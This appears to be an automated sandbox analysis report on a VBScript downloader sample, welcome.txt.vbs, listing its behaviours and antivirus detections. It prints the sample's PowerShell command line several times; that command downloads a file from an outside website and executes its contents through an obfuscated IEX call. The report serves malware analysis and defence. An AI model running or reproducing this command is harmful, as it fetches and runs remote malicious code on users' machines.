NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &{ $a = 'C:\Users\Public\file.txt';Invoke-WebRequest -H @{'apiKey'='keyValue'} https://freaksbuzz.com/wp-content/uploads/welcome.png -OutFile $a;Sleep 5;IE`X([IO.File]::ReadAllText($a))}
cmdline	powershell.exe &{ $a = 'C:\Users\Public\file.txt';Invoke-WebRequest -H @{'apiKey'='keyValue'} https://freaksbuzz.com/wp-content/uploads/welcome.png -OutFile $a;Sleep 5;IE`X([IO.File]::ReadAllText($a))}

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Sept. 16, 2023, 2:07 p.m.	show_type: 0 filepath_r: powershell.exe parameters: &{ $a = 'C:\Users\Public\file.txt';Invoke-WebRequest -H @{'apiKey'='keyValue'} https://freaksbuzz.com/wp-content/uploads/welcome.png -OutFile $a;Sleep 5;IE`X([IO.File]::ReadAllText($a))} filepath: powershell.exe	1	1	0

File has been identified by 3 AntiVirus engines on VirusTotal as malicious (3 events)

Symantec	ISB.Downloader!gen76
Kaspersky	HEUR:Trojan-Downloader.Script.Generic
ZoneAlarm	HEUR:Trojan-Downloader.Script.Generic

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 16, 2023, 2:07 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &{ $a = 'C:\Users\Public\file.txt';Invoke-WebRequest -H @{'apiKey'='keyValue'} https://freaksbuzz.com/wp-content/uploads/welcome.png -OutFile $a;Sleep 5;IE`X([IO.File]::ReadAllText($a))}
parent_process	wscript.exe				martian_process	powershell.exe &{ $a = 'C:\Users\Public\file.txt';Invoke-WebRequest -H @{'apiKey'='keyValue'} https://freaksbuzz.com/wp-content/uploads/welcome.png -OutFile $a;Sleep 5;IE`X([IO.File]::ReadAllText($a))}

The process wscript.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

welcome.txt.vbs

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All